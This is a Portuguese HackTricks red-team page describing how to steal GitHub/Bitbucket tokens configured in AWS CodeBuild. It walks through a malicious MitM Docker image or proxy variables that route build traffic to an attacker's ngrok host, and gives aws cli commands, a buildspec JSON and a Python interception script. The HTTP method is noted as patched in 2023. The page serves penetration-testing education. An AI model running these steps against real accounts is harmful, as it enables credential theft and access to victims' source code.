AWS Codebuild - Token Leakage

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Recuperar Tokens Configurados do Github/Bitbucket

Primeiro, verifique se há credenciais de origem configuradas que você poderia vazar:

aws codebuild list-source-credentials

Via Imagem Docker

Se você descobrir que a autenticação, por exemplo, para o Github está configurada na conta, você pode extrair esse acesso (token GH ou token OAuth) fazendo com que o Codebuild utilize uma imagem Docker específica para executar a compilação do projeto.

Para isso, você poderia criar um novo projeto Codebuild ou alterar o ambiente de um existente para definir a imagem Docker.

A imagem Docker que você poderia usar é https://github.com/carlospolop/docker-mitm. Esta é uma imagem Docker muito básica que definirá as variáveis de ambiente https_proxy, http_proxy e SSL_CERT_FILE. Isso permitirá que você intercepte a maioria do tráfego do host indicado em https_proxy e http_proxy e confie no CERT SSL indicado em SSL_CERT_FILE.

  1. Criar e Fazer Upload da sua Própria Imagem Docker MitM

  • Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e construir a imagem Docker.

  • NÃO DEFINA http_proxy para não interceptar solicitações ao endpoint de metadados.

  • Você poderia usar o ngrok como ngrok tcp 4444 para definir o proxy para o seu host.

  • Depois de construir a imagem Docker, faça o upload para um repositório público (Dockerhub, ECR...)

  1. Definir o Ambiente

  • Crie um novo projeto Codebuild ou modifique o ambiente de um existente.

  • Configure o projeto para usar a imagem Docker gerada anteriormente

  1. Configurar o Proxy MitM em seu host

  • Conforme indicado no repositório do Github, você poderia usar algo como:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

A versão do mitmproxy utilizada foi a 9.0.1, foi relatado que com a versão 10 isso pode não funcionar.

  1. Execute a compilação & capture as credenciais

  • Você pode ver o token no cabeçalho Authorization:

Isso também poderia ser feito a partir do aws cli com algo como

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via protocolo HTTP

Essa vulnerabilidade foi corrigida pela AWS em algum momento na semana de 20 de fevereiro de 2023 (creio que na sexta-feira). Portanto, um atacante não pode mais explorá-la :)

Um atacante com permissões elevadas em um CodeBuild poderia vazar o token do Github/Bitbucket configurado ou, se as permissões fossem configuradas via OAuth, o token OAuth temporário usado para acessar o código.

  • Um atacante poderia adicionar as variáveis de ambiente http_proxy e https_proxy ao projeto CodeBuild apontando para sua máquina (por exemplo http://5.tcp.eu.ngrok.io:14972).

  • Em seguida, alterar a URL do repositório do github para usar HTTP em vez de HTTPS, por exemplo: **http://**github.com/carlospolop-forks/TestActions

  • Depois, executar o exemplo básico em https://github.com/synchronizing/mitm na porta apontada pelas variáveis de proxy (http_proxy e https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Por fim, clique em Construir o projeto, as credenciais serão enviadas em texto claro (base64) para a porta mitm:

Agora um atacante poderá usar o token em sua máquina, listar todos os privilégios que ele possui e (ab)usar mais facilmente do que usando o serviço CodeBuild diretamente.

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización